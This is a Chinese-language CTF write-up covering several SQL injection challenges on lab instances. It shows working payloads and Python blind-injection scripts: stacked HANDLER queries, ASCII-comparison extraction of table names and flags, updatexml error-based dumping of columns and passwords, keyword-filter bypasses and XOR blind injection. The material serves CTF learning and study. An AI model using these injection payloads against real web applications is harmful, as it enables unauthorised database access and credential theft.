Web_SQL注入(1)
前言:
考察SQL注入的賽題很多,而且涉及到的知識也很雜,就總結一下做過的不同類型的SQL注入匯總一下。
[GYCTF2020]Blacklist
——涉及新知識HANDLER ... OPEN等、堆疊注入
這道題和之前做那道強網杯的題目一樣,但之前的方法比如讀取flag時改表名或者是用SQL的預處理進行繞過都不可行了,因為過濾了set prepare alter rename
所以這里就涉及到了一種新的方法
HANDLER ... OPEN語句打開一個表,使其可以使用后續HANDLER ... READ語句訪問,該表對象未被其他會話共享,并且在會話調用HANDLER ... CLOSE或會話終止之前不會關閉
簡介
mysql除可使用select查詢表中的數據,也可使用handler語句,這條語句使我們能夠一行一行的瀏覽一個表中的數據,不過handler語句并不具備select語句的所有功能。它是mysql專用的語句,并沒有包含到SQL標準中。
自己測試一下
官方文檔
https://dev.mysql.com/doc/refman/8.0/en/handler.html
所以只要知道這種方法,就可以做出來了
1';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;#[GYCTF2020]Ezsqli
——無列名注入(過濾了union select)、information_schema的代替
參考博客:
https://nosec.org/home/detail/3830.html
http://www.gem-love.com/ctf/1782.html
https://nosec.org/home/detail/3830.html
首先Fuzz一下看看都過濾了哪些
- information_schema
- union select (但單獨的select沒有被過濾)
- or and 等
測試發現注入點
id=2 || 1=1 Nu1L 當后面的結果是true時,顯示的是Nu1L —————————————————————————————— id=2 || 1=2 當后面的結果是False,顯示的是 V&N注入點找到了,下面就要解決information_schema這個問題,查了一下,發現可以用下面的進行替代
1.mysql.innodb_table_stats #獲取庫名、表名 2.sys.schema_table_statistics #獲取庫名、表名 3.sys.x$schema_flattened_keys 4.sys.schema_table_statistics_with_buffer除下第一個含有in,被ban了,其他都可以使用,下面就寫腳本來爆出數據表
import requests import stringif __name__ == '__main__':url = 'http://22af67ef-8eaa-413e-8928-57ee5824d9b9.node3.buuoj.cn'dic = string.ascii_letters + string.digits + '{'+ '}' + '_' + '@'+','params = 'select group_concat(table_name) from sys.x$schema_table_statistics_with_buffer where table_schema=database()'temp = ''for i in range(1,50):for s in dic:payload = '2||ascii(substr(({}),{},1))=\'{}\''.format(params,i,ord(s))data = {'id' : payload}reponse = requests.post(url=url,data=data)if "Nu1L" in reponse.text:temp += s print(temp)break
爆出了表名,但沒有辦法得到列名,常見的無列名注入需要搭配union select ,但被ban了,看了師傅們的博客
在沒有列名的情況下檢索數據
payload:
(select 'admin','admin')>(select * from users limit 1)Y1ng師傅的解釋:
對于payload這個兩個select查詢的比較,是按位比較的,即先比第一位,如果相等則比第二位,以此類推;在某一位上,如果前者的ASCII大,不管總長度如何,ASCII大的則大。
為什么在存flag時候要往前偏移一位
因為在里層的for()循環,字典順序是從ASCII碼小到大來枚舉并比較的,假設正確值為b,那么字典跑到b的時候b=b不滿足payload的大于號,只能繼續下一輪循環,c>b此時滿足了,題目返回真,出現了Nu1L關鍵字,這個時候就需要記錄flag的值了,但是此時這一位的char是c,而真正的flag的這一位應該是b才對,所以flag += chr(char-1)
測試一下就會發現
是各取兩個字符串的首字符ascii碼來進行比較的,成立返回1,不成立返回0,也就是說,只比較一次,也就是首字符
懂得了原理就好寫腳本了
#參考Ying師傅的腳本 import requestsif __name__ == '__main__':url = 'http://74317165-bab8-4da1-912f-acff85604719.node3.buuoj.cn/' def ord2hex(flag):result = ''for i in flag:result += hex(ord(i))result = result.replace('0x','')return '0x'+resultflag = '' for i in range(1,500):hexchar = ''for char in range(32,127):hexchar = ord2hex(flag+ chr(char))payload ='2||((select 1,{})>(select * from f1ag_1s_h3r3_hhhhh))'.format(hexchar)data = {'id' : payload}reponse = requests.post(url=url,data=data).textif 'Nu1L' in reponse:flag += chr(char-1)print(flag)break之所以加上hex()操作,是因為MYSQL遇到hex會自動轉成字符串,如果不加的話會出錯
最后flag轉換為小寫即可。
[GXYCTF2019]BabySQli
——md5比較bypass、sqlmap的使用
考察SQL注入的,先fuzz一下,過濾了
- or
- =
- ()等
隨便輸入發現一串提示
base解碼得到
可以手動注入,也可以使用sqlmap跑,sqlmap跑出的結果為
記錄一些sqlmap POST的注入
md5解不開,所以登陸不進去,猜測一下后端代碼應該是這樣
<?php $row; $pass=$_POST['pw']; if($row['username']==’admin’){ if($row['password']==md5($pass)){ echo $flag; }else{ echo “wrong pass!”; } } else{ echo “wrong user!”;}這里就涉及到一個新技巧,mysql在查詢不存在的數據時,會自動構建虛擬數據,如下:
所以可以根據聯合查詢返回自定的md5,在輸入對應的密碼即可
[極客大挑戰 2019]BabySQL
——雙寫繞過
先fuzz一下,看看過濾了什么
- or and
- union
- select
- from等
雙寫繞過即可
[極客大挑戰 2019]HardSQL
——報錯注入、回顯不足、left()、right()的使用
首先fuzz一下,發現過濾了
- and
- &&
- ||
- <>
- =
- 空格等
主要就是繞過等號和空格,like和regexp沒有被過濾掉。可以代替=號,空格可以使用括號代替。
測試發現or沒有被過濾,可以使用extractvalue和updatexml進行報錯注入 這里就只使用updatexml進行注入 #爆數據庫 admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23 geek #爆數據表 admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23 H4rDsq1 #爆列名 admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23 id,username,password #爆字段 admin'or(updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1))%23但在爆字段這會出現問題,因為updatexml回顯只能有32位,所以后面的顯示不完全,而substr也被過濾了,可以使用right()和left()函數來分別顯示出部分的flag
admin'or(updatexml(1,concat(0x7e,(select(left(password,30))from(H4rDsq1)),0x7e),1))%23 admin'or(updatexml(1,concat(0x7e,(select(right(password,30))from(H4rDsq1)),0x7e),1))%23 #拼接的時候要注意是否有之前重復的字符除此之外,還可以使用 ^來連接函數,形成異或。
admin'^(updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1))%23[極客大挑戰 2019]FinalSQL
——異或盲注、二分法
登陸框過濾了如下:
- =
- <>
- select
- information等
幾乎能過濾的都給過濾了 ,既然登陸框無法入手,就從神秘代碼處找線索
隨便打開一個,發現是get傳參
上面又提示了是SQL盲注,就隨便找一個頁面測試一下
所以構造如下語句:
id=1^(length(database())>1)^1
這個便可以寫腳本猜解值了,因為當為后面的語句成立時,異或的結果為0,如果后面的語句不成立,則異或的結果為1
下面就來寫腳本:(注意空格被過濾了)
但最后的flag應該是很長,時間估計要很慢
所以有時候遍歷循環并不是最好的選擇,可以使用二分法來縮短時間(參考師傅的wp)
時間少多了,果然還是算法NB!!!
這腳本也很有趣,多看,多練!!!
總結
以上是生活随笔為你收集整理的Web_SQL注入(1)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 流量分析_安恒八月月赛
- 下一篇: 2018.5.18信息安全铁人三项赛数据